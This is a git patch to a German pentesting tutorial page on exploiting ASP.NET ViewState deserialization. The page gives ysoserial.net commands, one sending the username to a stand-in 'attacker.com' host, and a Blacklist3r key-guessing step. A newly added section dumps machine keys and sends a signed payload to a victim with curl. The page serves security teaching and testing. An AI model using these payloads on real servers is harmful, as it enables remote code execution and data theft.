From 91d6ca6748016ec322ac033e7b8d292eec9884c0 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 22 Jul 2025 20:11:20 +0000 Subject: [PATCH] Translated ['src/pentesting-web/deserialization/exploiting-__viewstate-p --- .../exploiting-__viewstate-parameter.md | 55 +++++++++++++++---- 1 file changed, 43 insertions(+), 12 deletions(-) diff --git a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md index d38edf990..bf589b365 100644 --- a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md +++ b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md @@ -6,7 +6,7 @@ ## Was ist ViewState -**ViewState** dient als das Standardmechanismus in ASP.NET, um Seiten- und Steuerungsdaten über Webseiten hinweg zu erhalten. Während der Darstellung des HTML einer Seite werden der aktuelle Zustand der Seite und die Werte, die während eines Postbacks erhalten bleiben sollen, in base64-kodierte Zeichenfolgen serialisiert. Diese Zeichenfolgen werden dann in versteckten ViewState-Feldern platziert. +**ViewState** dient als das Standardmechanismus in ASP.NET, um Seiten- und Steuerungsdaten über Webseiten hinweg zu erhalten. Während der Darstellung des HTML einer Seite werden der aktuelle Zustand der Seite und die Werte, die während eines Postbacks erhalten bleiben sollen, in base64-kodierte Strings serialisiert. Diese Strings werden dann in versteckten ViewState-Feldern platziert. ViewState-Informationen können durch die folgenden Eigenschaften oder deren Kombinationen charakterisiert werden: @@ -34,7 +34,7 @@ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere} ``` **Identifizieren von ViewState-Attributen** -Sie können versuchen zu identifizieren, ob ViewState MAC-geschützt ist, indem Sie eine Anfrage mit diesem Parameter mit BurpSuite erfassen. Wenn Mac nicht verwendet wird, um den Parameter zu schützen, können Sie ihn mit [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) ausnutzen. +Sie können versuchen zu identifizieren, ob ViewState durch MAC geschützt ist, indem Sie eine Anfrage mit diesem Parameter mit BurpSuite erfassen. Wenn Mac nicht verwendet wird, um den Parameter zu schützen, können Sie ihn mit [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) ausnutzen. ``` ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" ``` @@ -42,7 +42,7 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power Entwickler können **ViewState** daran hindern, Teil einer HTTP-Anfrage zu werden (der Benutzer erhält dieses Cookie nicht).\ Man könnte annehmen, dass, wenn **ViewState** **nicht vorhanden** ist, ihre Implementierung **sicher** vor potenziellen Schwachstellen ist, die mit der Deserialisierung von ViewState verbunden sind.\ -Das ist jedoch nicht der Fall. Wenn wir den **ViewState-Parameter** zum Anfragekörper hinzufügen und unser serialisiertes Payload, das mit ysoserial erstellt wurde, senden, werden wir immer noch in der Lage sein, **Codeausführung** zu erreichen, wie in **Fall 1** gezeigt. +Das ist jedoch nicht der Fall. Wenn wir den **ViewState-Parameter** zum Anfragekörper hinzufügen und unser serialisiertes Payload, das mit ysoserial erstellt wurde, senden, werden wir dennoch in der Lage sein, **Codeausführung** zu erreichen, wie in **Fall 1** gezeigt. ### Testfall 2 – .Net < 4.5 und EnableViewStateMac=true & ViewStateEncryptionMode=false @@ -90,7 +90,7 @@ python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx ``` ![https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png](https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png) -Um anfällige Viewstates im großen Maßstab zu suchen, in Verbindung mit der Subdomain-Enumeration, kann das `badsecrets` [**BBOT**](exploiting-__viewstate-parameter.md) Modul verwendet werden: +Um anfällige Viewstates in großem Maßstab zu suchen, in Verbindung mit der Subdomain-Enumeration, kann das `badsecrets` [**BBOT**](exploiting-__viewstate-parameter.md) Modul verwendet werden: ``` bbot -f subdomain-enum -m badsecrets -t evil.corp ``` @@ -102,25 +102,25 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv --generator = {__VIWESTATEGENERATOR parameter value} ``` -In Fällen, in denen der `_VIEWSTATEGENERATOR`-Parameter **nicht gesendet** wird, müssen Sie **nicht** den `--generator`-Parameter **angeben**, sondern diese: +In Fällen, in denen der `_VIEWSTATEGENERATOR`-Parameter **nicht** vom Server **gesendet** wird, müssen Sie **nicht** den `--generator`-Parameter **angeben**, sondern diese: ```bash --apppath="/" --path="/hello.aspx" ``` -### Testfall: 3 – .Net < 4.5 und EnableViewStateMac=true/false und ViewStateEncryptionMode=true +### Test Case: 3 – .Net < 4.5 und EnableViewStateMac=true/false und ViewStateEncryptionMode=true In diesem Fall ist nicht bekannt, ob der Parameter mit MAC geschützt ist. Dann ist der Wert wahrscheinlich verschlüsselt und Sie **benötigen den Machine Key, um Ihre Payload zu verschlüsseln**, um die Schwachstelle auszunutzen. **In diesem Fall ist das** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **Modul in Entwicklung...** -**Vor .NET 4.5** kann ASP.NET einen **unencrypted** \_`__VIEWSTATE`\_Parameter von den Benutzern **akzeptieren**, **auch wenn** **`ViewStateEncryptionMode`** auf _**Always**_ gesetzt wurde. ASP.NET **prüft nur** die **Präsenz** des **`__VIEWSTATEENCRYPTED`** Parameters in der Anfrage. **Wenn man diesen Parameter entfernt und die unverschlüsselte Payload sendet, wird sie trotzdem verarbeitet.** +**Vor .NET 4.5** kann ASP.NET **einen** **unencrypted** \_`__VIEWSTATE`\_Parameter von den Benutzern **akzeptieren**, **auch wenn** **`ViewStateEncryptionMode`** auf _**Always**_ gesetzt wurde. ASP.NET **prüft nur** die **Präsenz** des **`__VIEWSTATEENCRYPTED`** Parameters in der Anfrage. **Wenn man diesen Parameter entfernt und die unverschlüsselte Payload sendet, wird sie trotzdem verarbeitet.** -Daher, wenn die Angreifer einen Weg finden, den Machinekey über eine andere Schwachstelle wie Dateitraversierung zu erhalten, kann der [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) Befehl, der im **Fall 2** verwendet wurde, verwendet werden, um RCE unter Verwendung der ViewState-Deserialisierungsanfälligkeit durchzuführen. +Daher, wenn die Angreifer einen Weg finden, den Machinekey über eine andere Schwachstelle wie Dateitraversierung zu erhalten, kann der [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) Befehl, der im **Fall 2** verwendet wurde, verwendet werden, um RCE über die ViewState-Deserialisierungsanfälligkeit durchzuführen. -- Entfernen Sie den `__VIEWSTATEENCRYPTED` Parameter aus der Anfrage, um die ViewState-Deserialisierungsanfälligkeit auszunutzen, andernfalls wird ein Viewstate MAC-Validierungsfehler zurückgegeben und der Exploit schlägt fehl. +- Entfernen Sie den `__VIEWSTATEENCRYPTED` Parameter aus der Anfrage, um die ViewState-Deserialisierungsanfälligkeit auszunutzen, andernfalls wird ein Viewstate MAC Validierungsfehler zurückgegeben und der Exploit schlägt fehl. -### Testfall: 4 – .Net >= 4.5 und EnableViewStateMac=true/false und ViewStateEncryptionMode=true/false, außer beide Attribute auf false +### Test Case: 4 – .Net >= 4.5 und EnableViewStateMac=true/false und ViewStateEncryptionMode=true/false, außer beide Attribute auf false -Wir können die Verwendung des ASP.NET-Frameworks erzwingen, indem wir den folgenden Parameter in die web.config-Datei einfügen, wie unten gezeigt. +Wir können die Verwendung des ASP.NET-Frameworks erzwingen, indem wir den folgenden Parameter in der web.config-Datei wie unten gezeigt angeben. ```xml ``` @@ -155,7 +155,7 @@ Wenn Sie den Wert von `__VIEWSTATEGENERATOR` haben, können Sie versuchen, den ` ![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/4.2.png) -Eine erfolgreiche Ausnutzung der ViewState-Deserialisierungsanfälligkeit führt zu einer Out-of-Band-Anfrage an einen vom Angreifer kontrollierten Server, die den Benutzernamen enthält. Diese Art von Exploit wird in einem Proof of Concept (PoC) demonstriert, das über eine Ressource mit dem Titel "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET" gefunden werden kann. Für weitere Details, wie der Ausnutzungsprozess funktioniert und wie man Tools wie Blacklist3r zur Identifizierung des MachineKey verwendet, können Sie den bereitgestellten [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC) überprüfen. +Eine erfolgreiche Ausnutzung der ViewState-Deserialisierungsanfälligkeit führt zu einer Out-of-Band-Anfrage an einen vom Angreifer kontrollierten Server, die den Benutzernamen enthält. Diese Art von Exploit wird in einem Proof of Concept (PoC) demonstriert, der über eine Ressource mit dem Titel "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET" gefunden werden kann. Für weitere Details, wie der Ausnutzungsprozess funktioniert und wie man Tools wie Blacklist3r zur Identifizierung des MachineKey verwendet, können Sie den bereitgestellten [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC) überprüfen. ### Testfall 6 – ViewStateUserKeys wird verwendet @@ -170,11 +170,42 @@ Für alle Testfälle, wenn die ViewState YSoSerial.Net Payload **erfolgreich** f Überprüfen Sie [weitere Informationen hier]() +### Dumping von ASP.NET Machine Keys über Reflection (SharPyShell/SharePoint ToolShell) + +Angreifer, die in der Lage sind, **beliebigen ASPX-Code** im Ziel-Webstamm **hochzuladen oder auszuführen**, können die geheimen Schlüssel, die `__VIEWSTATE` schützen, direkt abrufen, anstatt sie zu bruteforcen. Eine minimale Payload, die die Schlüssel leakt, nutzt interne .NET-Klassen über Reflection aus: +```csharp +<%@ Import Namespace="System.Web.Configuration" %> +<%@ Import Namespace="System.Reflection" %> + +``` +Das Anfordern der Seite gibt den **ValidationKey**, **DecryptionKey**, den Verschlüsselungsalgorithmus und den ASP.NET-Kompatibilitätsmodus aus. Diese Werte können nun direkt in **ysoserial.net** eingegeben werden, um ein gültiges, signiertes `__VIEWSTATE` Gadget zu erstellen: +```bash +ysoserial.exe -p ViewState -g TypeConfuseDelegate \ +-c "powershell -nop -c \"whoami\"" \ +--generator= \ +--validationkey= --validationalg= \ +--decryptionkey= --decryptionalg= \ +--islegacy --minify +curl "http://victim/page.aspx?__VIEWSTATE=" +``` +Dieser **Key-Exfiltration-Primitiv** wurde 2025 massenhaft gegen lokale SharePoint-Server ausgenutzt ("ToolShell" – CVE-2025-53770/53771), ist jedoch auf jede ASP.NET-Anwendung anwendbar, bei der ein Angreifer serverseitigen Code ausführen kann. + ## Referenzen - [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/) - [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817) - [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/) - [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets) +- [SharePoint “ToolShell” exploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/) {{#include ../../banners/hacktricks-training.md}}